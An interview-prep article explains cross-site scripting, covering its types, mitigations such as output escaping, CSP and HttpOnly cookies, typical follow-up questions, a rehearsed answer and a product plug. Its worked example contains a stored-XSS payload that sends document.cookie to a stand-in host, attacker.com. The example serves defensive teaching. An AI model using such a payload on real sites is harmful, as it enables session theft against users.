XSS Explained: What to Say in a 2026 Interview

Cross‑Site Scripting (XSS) is one of the most common web security issues you’ll be asked about in a technical interview. It’s a client‑side injection flaw that lets an attacker execute arbitrary JavaScript in the context of another user’s browser. Below is a compact way to cover the whole topic – definition, how it works, trade‑offs, a concrete example, typical interview follow‑ups, and a ready‑to‑speak 60‑second answer.

What XSS Is in One Sentence

XSS is a vulnerability that occurs when a web application includes user‑controlled data in a page without proper encoding, allowing an attacker to run malicious scripts in other users’ browsers.

How the Vulnerability Manifests

There are three classic categories:

All three rely on the same principle: the browser treats the attacker‑provided string as code rather than data. The root cause is a lack of context‑aware output encoding – the application does not escape characters that have special meaning in the current HTML, JavaScript, or URL context.

Trade‑offs and Mitigations

In practice, a layered approach works best: encode output, enforce a strong CSP, and keep sensitive data out of client‑side scripts.

A Concrete Example You Can Walk Through

Imagine a simple blog platform that lets users comment on posts. The server stores each comment verbatim and later renders it with:

<div class="comment">{{ comment.body }}</div>

If the templating engine does not escape < and > characters, an attacker could submit:

<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

When any other user views the post, the script runs in their browser, sending the victim’s cookies to the attacker. The mitigation steps are:

1. Escape HTML entities (<, >, &, etc.) before inserting comment.body.
2. Add a CSP header like script-src 'self' to block external script sources.
3. Mark session cookies as HttpOnly so the script cannot read them (though it could still perform other actions).

Questions Interviewers Usually Follow Up With

1. “What’s the difference between reflected and stored XSS?” – Emphasize where the payload lives and how the attacker delivers it.
2. “How would you test for XSS in a black‑box scenario?” – Mention using a payload list, trying common vectors in query strings, form fields, and headers, and observing reflected output.
3. “What role does CSP play, and what are its limitations?” – Explain CSP’s blocking of inline scripts and external sources, but note that legacy browsers may ignore it and that CSP does not stop DOM‑based XSS.
4. “If you found an XSS bug in production, what steps would you take?” – Outline immediate mitigation (e.g., add escaping or CSP), log the affected endpoints, notify the team, and plan a permanent fix.
5. “Can you give an example of a safe way to render user‑generated HTML?” – Suggest using a library that sanitizes HTML (e.g., DOMPurify) and then safely inserting the sanitized string.

60‑Second Spoken Answer (Ready to Record)

“Cross‑Site Scripting, or XSS, is a client‑side injection flaw where an application inserts untrusted data into a page without proper encoding, letting an attacker run arbitrary JavaScript in another user’s browser. There are three main flavors: reflected, where the payload lives in the request URL; stored, where it’s saved in a database and served to any visitor; and DOM‑based, where client‑side code manipulates the DOM with untrusted input. The core mitigation is context‑aware output escaping – HTML, JavaScript, and URL contexts each need their own escaping rules. A strong Content Security Policy adds another layer by blocking inline scripts and restricting script sources, though it can be bypassed on older browsers. In practice I’d first ensure all user‑generated content is properly escaped, then add a CSP header like script-src 'self', and finally mark session cookies as HttpOnly. When I’m preparing for an interview, I use Call Assistant to rehearse this answer aloud, keeping the flow tight and making sure I stay on topic.”

How to Practice This

1. Write the answer on paper – Keep it under 150 words and highlight the definition, mechanism, and mitigation.
2. Run a mock interview – Use Call Assistant or a colleague to ask the follow‑up questions listed above; answer aloud and record yourself.
3. Test a real app – Deploy a tiny demo (e.g., a comment form) with the vulnerability, try to exploit it with a payload, then apply the mitigations and verify the attack no longer works.

---

FAQ

1. What’s the easiest way to spot XSS during code review? Look for places where user input is concatenated into HTML, JavaScript, or URL strings without an explicit escaping function. Pay special attention to template literals and innerHTML assignments.
2. Can a strict CSP eliminate all XSS risks? Not entirely. CSP blocks many injection vectors, but DOM‑based XSS can still execute if the page’s own scripts manipulate the DOM insecurely. It’s a defense‑in‑depth measure, not a silver bullet.
3. Why isn’t input validation enough to prevent XSS? Validation can filter obvious malicious patterns, but attackers can craft payloads that bypass simple filters. Proper output encoding guarantees that whatever reaches the browser is treated as data, not code.
4. How does XSS differ from CSRF? XSS exploits the victim’s browser to run attacker‑controlled script, while CSRF tricks the browser into sending a legitimate request to a site where the user is authenticated. Both rely on the browser’s trust, but the attack vectors and mitigations differ.